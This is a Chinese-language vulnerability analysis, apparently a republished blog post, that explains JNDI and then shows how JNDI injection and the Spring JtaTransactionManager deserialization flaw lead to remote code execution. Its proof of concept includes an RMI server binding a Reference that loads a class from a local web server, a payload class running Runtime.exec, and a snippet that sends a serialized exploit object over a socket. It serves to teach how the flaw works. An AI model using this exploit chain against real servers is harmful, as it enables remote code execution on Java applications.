Jndi注入及Spring RCE漏洞分析

Bry5319 8年前發布 | 9K 次閱讀 Spring 漏洞分析 JEE框架

前言

由于之前一直在外出差,好久沒有做研究了,十一期間重新關注了2016 BlackHat上面的議題,其中jndi注入引起了我的關注,本文主要分為以下3個部分,理解jndi、分析jndi注入問題,以及Srping RCE漏洞形成的原因。

文章目錄

理解jndi

jndi注入產生的原因

Spring RCE與Jndi注入之間的關系

demo

英文好的同學可以去閱讀原文。

理解JNDI

Jndi 全稱是:Java Naming and Directory Interface,叫做Java命名和目錄接口、SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互、如圖:

Java Naming:

命名服務是一種鍵值對的綁定,是應用程序可以通過鍵檢索值

Java Directory:

目錄服務是命名服務的自然擴展。兩者之間的關鍵差別是目錄服務中對象可以有屬性(例如,用戶有email地址),而命名服務中對象沒有屬性。因此,在目錄服務中,你可以根據屬性搜索對象。JNDI允許你訪問文件系統中的文件,定位遠程RMI注冊的對象,訪問象LDAP這樣的目錄服務,定位網絡上的EJB組件

如圖所示的層級結果,通俗理解jndi就是,一組api接口。每一個對象都有一組唯一的鍵值綁定,將名字和對象綁定,可以通過名字檢索制定的對象(object),對象可能存儲在rmi,ldap,CORBA等等。在jndi中提供了綁定和查找的方法,jndi將name和object綁定在了一起,在這基礎上提供了lookup,search功能

1、void bind( String name , Object object ) //將名稱綁定到對象

2、Object lookup( String name ) //通過名字檢索執行的對象

下面寫一個jdni的demo幫助理解:

我們定義一個Person類

    import java.io.Serializable;  
    import java.rmi.Remote;  
    public class Person implements Remote,Serializable {  
    private static final long serialVersionUID = 1L;  
    private String name;  
    private String password;  
    public String getName() {  
        return name;  
    }  
    public void setName(String name) {  
        this.name = name;  
    }  
    public String getPassword() {  
        return password;  
    }  
    public void setPassword(String password) {  
        this.password = password;  
    }  
    public String toString(){  
        return "name:"+name+" password:"+password;  
    }  
    }  

這里服務端以rmi為例,

    package com.jndi.demo;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    import javax.naming.spi.NamingManager;
    public class Test {
    public static void initPerson() throws Exception{
        //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常
        LocateRegistry.createRegistry(3001);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
        ////初始化
        InitialContext ctx = new InitialContext();

    //實例化person對象
    Person p = new Person();
    p.setName("hello");
    p.setPassword("jndi");

    //person對象綁定到JNDI服務中,JNDI的名字叫做:person。
    ctx.bind("person", p);
    ctx.close();
}

public static void findPerson() throws Exception{
    //因為前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這里就不用在綁定了
    InitialContext ctx = new InitialContext();
    //通過lookup查找person對象
    Person person = (Person) ctx.lookup("person");
    //打印出這個對象
    System.out.println(person.toString());
    ctx.close();
}

public static void main(String[] args) throws Exception {
    initPerson();
    findPerson();
}
}</code></pre> 

運行結果如圖:

使用debug更直觀的描述整個流程:

從上圖可以清楚的看到,在initPerson方法中,注冊了rmi服務并綁定了端口,給p對象命名為person,在findPerson方法中查找被命名為person的對象,然后通過。最終輸出了hello jndi。

Jndi Naming Reference:

java為了將object對象存儲在Naming或者Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中,當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference后,就可以理解jndi注入產生的原因了。

Jndi注入產生的原因

Applications should not perform JNDI lookups with untrusted data

jndi注入產生的原因可以歸結到以下4點

1、lookup參數可控。

2、InitialContext類及他的子類的lookup方法允許動態協議轉換

3、lookup查找的對象是Reference類型及其子類

4、當遠程調用類的時候默認會在rmi服務器中的classpath中查找,如果不存在就會去url地址去加載類。如果都加載不到就會失敗。

我們跟進lookup函數:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

繼續跟進getURLOrDefaultInitCtx函數,

發現getURLOrDefaultInitCtx會返回兩種情況,

第一種getDefaultInit(),

第二種是getUrlContext(scheme,myPorps)。

這說明即使 Context.PROVIDER_URL參數被初為rmi://127.0.0.1:1099/foo,但是如果lookup的參數可控,那我們就可以重寫url地址,使url地址指向我們的服務器。例如:

  // Create the initial context
    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
     "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");
    Context ctx = new InitialContext(env);
    // Look up in the local RMI registry
    Object local_obj = ctx.lookup(





 );


  

就可以實現遠程加載惡意的對象,實現遠程代碼執行。

我們發現存在3種方法,可以通過jndi注入導致遠程代碼執行:

rmi、通過jndi reference遠程調用object方法。

CORBA IOR 遠程獲取實現類

LDAP 通過序列化對象,JNDI Referene,ldap地址

demo2 jndi注入例子:

Server端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.Registry;

import java.rmi.registry.LocateRegistry;

public class SERVER {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);

Reference aa = new Reference("ExecObj", "ExecObj", " http://127.0.0.1:8081/ ");

ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);

System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");

registry.bind("aa", refObjWrapper);

}

}

Client端:

import javax.naming.Context;
    import javax.naming.InitialContext;
    public class CLIENT {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
    }

ExecObj:

  package com.jndi.cn;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.Reader;
    import javax.print.attribute.standard.PrinterMessageFromOperator;
    public class ExecTest {
    public static void main(String[] args) throws IOException,InterruptedException{
        String cmd="whoami";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }
    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {

            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();

    }
    }

首先javac ExecObj、將生成的class文件放在web服務器目錄下。然后依次執行server端,client端

運行結果如圖:

Spring RCE

Spring RCE形成的主要原因是 Spring框架的spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager 存在一個readObject方法。當執行對象反序列化的時候,會執行lookup操作,導致了jndi注入,可以導致遠程代碼執行問題,具體原因在這里不分析了,在iswin師傅的博文里有詳細的分析。

到這里漏洞的成因就比較清晰了,這里的userTransactionName變量我們可以控制,通過setter方法可以初始化該變量,這里userTransactionName可以是rmi的調用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName變量,就可以觸發JNDI的RCE,繼續跟進lookupUserTransaction方法

導致jndi的RCE導致了Spring Framework反序列化的產生

關鍵代碼:

String jndiAddress = "rmi://127.0.0.1:1999/Object";
    JtaTransactionManager object = new JtaTransactionManager();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
    objectOutputStream.writeObject(object);
    objectOutputStream.flush();

當我們把這段序列化的對象發送給服務端的時候,就會觸發jndi rce漏洞。

 

來自:http://www.freebuf.com/vuls/115849.html

 

 本文由用戶 Bry5319 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!